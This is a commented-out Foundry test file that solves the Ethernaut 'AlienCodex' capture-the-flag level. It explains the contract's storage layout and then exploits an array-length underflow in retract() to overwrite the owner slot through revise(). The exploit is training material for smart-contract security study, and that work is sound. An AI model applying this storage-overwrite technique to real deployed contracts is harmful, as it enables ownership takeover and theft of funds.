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| // SPDX-License-Identifier: GPL-3.0 | ||
| // Unfortunately, the minimum version supported by forge-std is 0.6.2. | ||
| // That is the reason why this file is commented out. | ||
| // pragma solidity ^0.5.0; | ||
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| // import '../../src/EthernautCTF/AlienCodex.sol'; | ||
| // import '@forge-std/Test.sol'; | ||
| // import '@forge-std/console2.sol'; | ||
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| // contract AlienCodexExploit { | ||
| // AlienCodex target; | ||
| // address deployer = makeAddr('deployer'); | ||
| // address exploiter = makeAddr('exploiter'); | ||
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| // function setUp() public { | ||
| // vm.startPrank(deployer); | ||
| // target = new AlienCodex(); | ||
| // console2.log('Target contract deployed'); | ||
| // vm.stopPrank(); | ||
| // } | ||
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| // function testExploit() public { | ||
| // // The AlienCodex contract inherits the storage of the Ownable contract. | ||
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| // // The Ownable contract has the following storage layout: | ||
| // // - slot0: address private _owner | ||
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| // // The AlienCodex contract has thus the following storage layout: | ||
| // // - slot0: address private _owner (Ownable storage) -> 20 bytes | ||
| // // - slot0: bool public contact -> 1 byte | ||
| // // - slot1: length of the bytes32[] public codex dynamic array | ||
| // // - slot keccak256(1): first element of the array | ||
| // // - slot keccak256(2): second element of the array | ||
| // // ... | ||
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| // // Here is an example: | ||
| // // - slot0: 0x7f1234567890123456789012345678901234567890000000000000000000000001 | ||
| // // with address private owner: 0x7f123456789012345678901234567890123456789. | ||
| // // and bool public contact: 0x01 (padded with zeros). | ||
| // // - slot1: 0x0000000000000000000000000000000000000000000000000000000000000003 | ||
| // // which represents the length of the array: 3 | ||
| // // - slot keccak256(slot_number) or slot keccak256(1)=0xa5f3...: 0x1111111111111111111111111111111111111111111111111111111111111111 (random 32-byte value) | ||
| // // - slot keccak256(1)+1: 0x2222222222222222222222222222222222222222222222222222222222222222 | ||
| // // - slot keccak256(1)+2: 0x3333333333333333333333333333333333333333333333333333333333333333 | ||
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| // // The goal is to use the `retract` method to reduce the size of the dynamic | ||
| // // array to modify the slot0 value (owner). | ||
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| // vm.startPrank(exploiter); | ||
| // // Make contact to be able to pass the `contacted` modifier. | ||
| // target.makeContact(); | ||
| // assertTrue(target.contact()); | ||
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| // // The codex array is empty, thus codex.length is equal to zero. | ||
| // // Since we are using solidity ^0.5.0, we can trigger an underflow by substracting one from zero. | ||
| // target.retract(); // codex.length is now equal to 2^256 - 1. | ||
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| // // The codex dynamic array can now be used to access any variables stored in the contract. | ||
| // // codex[0] refers to slot keccak256(1) | ||
| // // codex[1] refers to slot keccak256(1)+1 | ||
| // // codex[2^256 - 1 - uint(keccak256(1))] refers to slot 2^256 - 1 | ||
| // // codex[2^256 - 1 - uint(keccak256(1)) + 1] refers to slot 0 | ||
| // uint256 index = (2 ** 256) - uint(keccak256(abi.encode(1))); | ||
| // target.revise(index, bytes32(uint256(uint160(exploiter)))) | ||
| // vm.stopPrank(); | ||
| // } | ||
| // } |